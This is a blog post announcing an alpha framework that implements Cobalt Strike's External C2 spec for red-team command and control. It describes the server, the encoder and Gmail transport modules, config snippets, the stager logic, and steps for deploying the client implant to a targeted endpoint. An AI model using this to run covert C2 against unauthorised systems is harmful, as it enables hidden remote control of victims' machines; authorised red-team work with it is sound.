Alpha release of External C2 framework
11 Jan 2018 - Jonathan Echavarria
Today, I am officially releasing the alpha version of my implementation for Cobalt Strike’s external c2 spec. Currently, it is lacking the builder routine and a few additional features that will be implemented at a later time, but what is available will be a provides a good idea of where this project will go, and hopefully enhance your experience.
This post will discuss how to use it, and provide insight on how to build your own
encoder modules to add your desired functionality.
You can access the framework here: https://github.com/Und3rf10w/external_c2_framework
Personally, I give nothing but praise to Cobalt Strike’s design. It’s a great tool, designed to be very modular and modifiable, and compared to other offerings on the market, very reasonably priced (e.g. not $50k). With a well-featured base product, it also offers a scripting language, Aggressor, which is essentially Rafael Mudge’s Java scripting language, Sleep. I’ve always said that if you’re willing to put in the work to create Aggressor scripts and other minor modifications to fit your needs, you can easily enhance the value of Cobalt Strike to that of tools that cost more than 15 times what you paid for it.
The only area I thought it was lacking was that the data channels for the beacon payload were somewhat limited, which is a major feature of other offerings in the space. Imagine my surprise, and excitement, when I learned about the external c2 specification!
To date, there have been a few different releases of implementations/discussions around the spec, but they are in a language that I’m not familiar with (¯\(ツ)/¯), or do not have the features that I desire.
Keeping the design philosophy of Cobalt Strike in mind, I decided to construct a modular implementation of the spec that would be easy and straight forward to create new communication channels for.
The framework consists of 3 main parts:
The server is the application that brokers communication between the
client and the
c2 server, referred to as
third-party Client Controller within the spec. The server logic is primarily static, but supports verbose and debug output to assist with development:
The determination of which
transport module the server imports is determined from the values stored in config.py.
No imports of unused
encoder modules are performed.
Let’s look at how the server works:
Main part of the server is at the root of the
server folder and upon building, is aptly named
Looking at the
main() function, we can see the server first parses arguments (at this time just
debug flags), parses a config file,
config.py, imports the specified
encoder modules, and then begins the main logic of communicating to the c2 server and client.
Distributed with the server in a configuration file,
config.py that allows us to specify the connection to the c2 server, options passed for the stager, idle time for polling of the transport and c2, which
transport to use, and output options (which can be specified with flags as well).
# Address of External c2 server EXTERNAL_C2_ADDR = "127.0.0.1" # Port of external c2 server EXTERNAL_C2_PORT = "2222" # The name of the pipe that the beacon should use C2_PIPE_NAME = "foobar" # A time in milliseconds that indicates how long the External C2 server should block when no new tasks are available C2_BLOCK_TIME = 100 # Desired Architecture of the Beacon C2_ARCH = "x86" # How long to wait (in seconds) before polling the server for new tasks/responses IDLE_TIME = 5 ENCODER_MODULE = "encoder_b64url" TRANSPORT_MODULE = "transport_gmail" # Anything taken in from argparse that you want to make available goes here: verbose = False debug = False
configureStage module defines the logic for loading the beacon stager on the client host. Currently, it is configured to immediately retrieve the stager from the c2 server, transmit it to the client, and await for a response from the client. If you’d like to modify this order of operations, you can change the logic of the
For example, perhaps you’d like to receive some sort of confirmation that the client is ready before requesting a stager from the c2 server:
Instead of the default logic:
configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME, config.C2_BLOCK_TIME) stager_payload = requestStager(sock) commonUtils.sendData(stager_payload) metadata = commonUtils.retrieveData() commonUtils.sendFrameToC2(sock, metadata) return 0
You may want something like this:
configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME, config.C2_BLOCK_TIME) # Receive the ready notification from the client clientReady = commonUtils.retrieveData() # Request the stager now that the client is ready stager_payload = requestStager(sock) commonUtils.sendData(stager_payload) metadata = commonUtils.retrieveData() commonUtils.sendFrameToC2(sock, metadata) return 0
establishedSession module defines the logic for how the server communicates to a client that the client once it has injected the beacon payload. There isn’t much need to make modifications to this logic, as it primarily exists to increase readability.
utils module holds the
commonUtils.py submodule, and the various
encoder modules available.
commonUtils sub-module provides common functions that can be utilized in other areas.
transports folders hold the various available transports and encoders available.
Encoders use the following name conventions:
The two functions that need to be defined in this module are
decode(). Essentially inverses of each other they define how data transmitted and received is modified.
Both functions should return the data as a string.
Any imports required to make modifications to the data may be done within this file.
Transports use the following name conventions:
If any configuration options need to be specified they may be hardcoded at the top of the file.
The three functions that need to be defined in this module are
prepTransport() defines any logic that the server/client need to perform in order to send and receive data via the transport. This could be anything from opening a socket, to logging into an application, etc. This should
return 0 upon successful execution.
sendData() defines how data is sent through the transport mechanism, and should expect to receive already encoded data. It does not need to return anything. The builder will add a call to
encoder.encode(data) within this function for the client.
retrieveData() defines how data is received through the transport mechanism, and should return the raw data recived. The builder will add a call to
encoder.decode(data) within this function for the client. This function is called
recvData() in the client.
Any imports required to transport the data may be done within this file.
The client is essentially the payload that runs on the endpoint, referred to as
third-party client within the spec. The logic of the client is primarily static:
transportfor new tasks
Configurations needed for the transport and encoding mechanisms are statically copied into the client. Function logic for transporting and encoding mechanisms are also statically copied into from their respective modules.
In contrast to the server, the client is distributed as one file (not including the compiled dll), which all imports and functionality performed are for the most part inherited from server logic.
Take a look at the follow tables, which detail share functionality between the client and server:
|Transport Function||Client Function||Description|
|prepTransport||prepTransport||Performs any preconfigurations required to utilize the transport mechanism|
|sendData||sendData||Defines how data is sent through the transport mechanism|
|retrieveData||recvData||Defines how data is received through the transport mechanism|
|Encoder Function||Client Function||Description|
|encode||encode||Defines modifications done to raw data to prepare it for transport|
|decode||decode||Defines modifications done to raw data received from the transport to be relayed to its destination|
If you want to modify the way the client loads the beacon stager, you can modify the logic of the
start_beacon() function. Just ensure it returns a handle to the beacon’s named pipe.
First, determine which transport and encoding module you’d like to use. We’ll use
encoder_b64url for the following example.
server/config.py to suit your needs, ensuring the
TRANSPORT_MODULE are properly configured and pointed to your desired modules:
EXTERNAL_C2_ADDR = "127.0.0.1" EXTERNAL_C2_PORT = "2222" C2_PIPE_NAME = "foobar" C2_BLOCK_TIME = 100 C2_ARCH = "x86" IDLE_TIME = 5 ENCODER_MODULE = "encoder_b64url" TRANSPORT_MODULE = "transport_gmail" verbose = False debug = False
Next, modify the configuration section for your selected
client/mechanism/$mechanism_client.py’s configuration section matches with any configurations you have defined thus far.
On the machine running the server, execute:
For more verbose output, you may run:
python server.py -v
For more verbose output and additional output that is useful for debugging, you may run:
python server.py -d
Execute the included client dll compilation script:
Next, distribute the client and dll the targeted endpoint, and execute it.
If everything worked, a new beacon will be registered within the Cobalt Strike console that you may interact with.